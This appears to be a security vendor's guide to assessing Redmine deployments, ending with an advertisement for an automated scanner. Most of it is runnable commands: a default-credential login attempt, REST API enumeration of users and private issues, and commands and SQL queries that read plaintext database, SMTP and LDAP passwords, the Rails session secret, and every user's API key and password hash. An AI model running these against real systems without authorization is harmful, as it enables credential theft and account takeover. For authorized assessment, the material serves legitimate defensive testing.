Redmine Security Testing: API Key, Default Credentials, database.yml, and LDAP Integration

Redmine is one of the most widely deployed open-source project management and issue tracking platforms, used in enterprises, research institutions, and government agencies for managing projects, bugs, feature requests, and internal wikis. Its age and widespread deployment mean many installations are outdated and retain default configurations. Key assessment areas: Redmine defaults to admin/admin; the REST API key provides access to all projects, issues, time entries, and wiki content; config/database.yml stores the MySQL or PostgreSQL database password in plaintext; LDAP bind credentials are stored in the auth_sources database table; and config/initializers/secret_token.rb stores the Rails secret token enabling session cookie forgery. This guide covers systematic Redmine security assessment.

Table of Contents

  1. Default Credentials and API Key Access
  2. Project, Issue, and User Enumeration
  3. Configuration Credentials and LDAP Access
  4. Redmine Security Hardening

Default Credentials and API Key Access

# Redmine — default credentials and API key authentication
REDMINE_URL="https://redmine.example.com"
API_KEY="your-redmine-api-key"

# Default credentials: admin / admin (older installs) or admin / redmine
# Login via web form
curl -s -c /tmp/redmine_sess -b /tmp/redmine_sess \
  -X POST "${REDMINE_URL}/login" \
  -d "username=admin&password=admin&login=Login&authenticity_token=$(
    curl -s -c /tmp/redmine_sess "${REDMINE_URL}/login" 2>/dev/null | \
    grep 'authenticity_token' | head -1 | sed 's/.*value="\([^"]*\)".*/\1/'
  )" -L 2>/dev/null | grep -i "my page\|logged in\|invalid" | head -3

# REST API — use API key in X-Redmine-API-Key header
# Test API key access
curl -s "${REDMINE_URL}/users/current.json" \
  -H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('user',{})
print(f'User: {u.get(\"login\")} ({u.get(\"firstname\")} {u.get(\"lastname\")}) email={u.get(\"mail\")}')
print(f'Admin: {u.get(\"admin\")} ID={u.get(\"id\")}')
print(f'API key: {u.get(\"api_key\")}')
" 2>/dev/null

Project, Issue, and User Enumeration

# Redmine project, issue, and user enumeration via REST API
REDMINE_URL="https://redmine.example.com"
API_KEY="your-redmine-api-key"

# Enumerate all accessible projects
curl -s "${REDMINE_URL}/projects.json?limit=100" \
  -H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('projects',[])
print(f'Projects: {d.get(\"total_count\",0)}')
for p in projects:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} ({p.get(\"identifier\")}) status={p.get(\"status\")}')
    print(f'    Description: {str(p.get(\"description\",\"\"))[:80]}')
" 2>/dev/null

# Enumerate all issues — complete work item list including private projects
curl -s "${REDMINE_URL}/issues.json?limit=100&sort=updated_on:desc" \
  -H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d.get('issues',[])
print(f'Issues: {d.get(\"total_count\",0)}')
for i in issues[:20]:
    author = i.get('author',{})
    assigned = i.get('assigned_to',{})
    print(f'  [#{i.get(\"id\")}] {i.get(\"subject\")} status={i.get(\"status\",{}).get(\"name\")} priority={i.get(\"priority\",{}).get(\"name\")}')
    print(f'    Author: {author.get(\"name\")} assigned={assigned.get(\"name\",\"unassigned\")} project={i.get(\"project\",{}).get(\"name\")}')
" 2>/dev/null

# Enumerate all users (admin API key required)
curl -s "${REDMINE_URL}/users.json?limit=100" \
  -H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {d.get(\"total_count\",0)}')
for u in users[:20]:
    print(f'  [{u.get(\"id\")}] {u.get(\"login\")} ({u.get(\"firstname\")} {u.get(\"lastname\")}) email={u.get(\"mail\")} admin={u.get(\"admin\")}')
    print(f'    Created: {u.get(\"created_on\")} last_login={u.get(\"last_login_on\")}')
" 2>/dev/null

Configuration Credentials and LDAP Access

# Redmine database.yml and LDAP credential extraction

# database.yml — MySQL/PostgreSQL database password in plaintext
cat /home/redmine/redmine/config/database.yml 2>/dev/null | \
  grep -A5 "production:" | grep -E "password|username|host|database"
# production.password — database password

# secret_token.rb — Rails session signing secret
cat /home/redmine/redmine/config/initializers/secret_token.rb 2>/dev/null
# Redmine::Application.config.secret_key_base — session cookie signing key
# Exposure enables forging session cookies for any user account

# LDAP auth sources — bind credentials in database
mysql -u redmine -p"DB_PASSWORD" redmine 2>/dev/null << 'EOF'
SELECT id, name, host, port, tls, account, account_password,
       base_dn, filter, login_attribute, mail_attribute
FROM auth_sources;
EOF
# account — LDAP bind DN
# account_password — LDAP bind password (stored in plaintext in older Redmine)

# Email configuration — SMTP password
grep -E "password|smtp" /home/redmine/redmine/config/configuration.yml 2>/dev/null
# email.smtp_settings.password — SMTP server password

# User API keys from database — all user API keys
mysql -u redmine -p"DB_PASSWORD" redmine 2>/dev/null << 'EOF'
SELECT id, login, mail, hashed_password, salt, admin, api_key
FROM users
WHERE status = 1
ORDER BY admin DESC, id
LIMIT 30;
EOF
# api_key — Redmine REST API key for each user (stored in plaintext)
# hashed_password — SHA1 hash (Redmine 5.x uses bcrypt)

Redmine Security Hardening

Redmine Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential exploitationPOST /login with admin:admin — full Redmine admin access; all projects including private, all issues, time entries, user accounts, LDAP configuration, and email settingsCritical
database.yml database password extractionRead config/database.yml — production.password in plaintext; enables direct database access with all user hashes, API keys, and LDAP bind passwordsCritical
secret_token.rb session cookie forgeryRead config/initializers/secret_token.rb — secret_key_base enables forging Redmine session cookies for any user including admin; equivalent to full account takeover for all usersCritical
LDAP bind password extraction from auth_sourcesMySQL query on auth_sources — account and account_password (plaintext in older versions); Active Directory bind credentials for the Redmine service accountCritical
Admin API key user and issue enumerationGET /users.json with admin API key — all user accounts with email addresses, API keys, and last login data; GET /issues.json — all issues across all projects including private projectsCritical

Automate Redmine Security Testing

Ironimo tests Redmine deployments for default admin credential exploitation, REST API project, issue, and user enumeration, database.yml database password extraction, secret_token.rb session forgery testing, LDAP bind credential extraction from auth_sources, user API key extraction from the users table, configuration.yml SMTP credential access, private project data access, and version detection for known Redmine CVEs.

Start free scan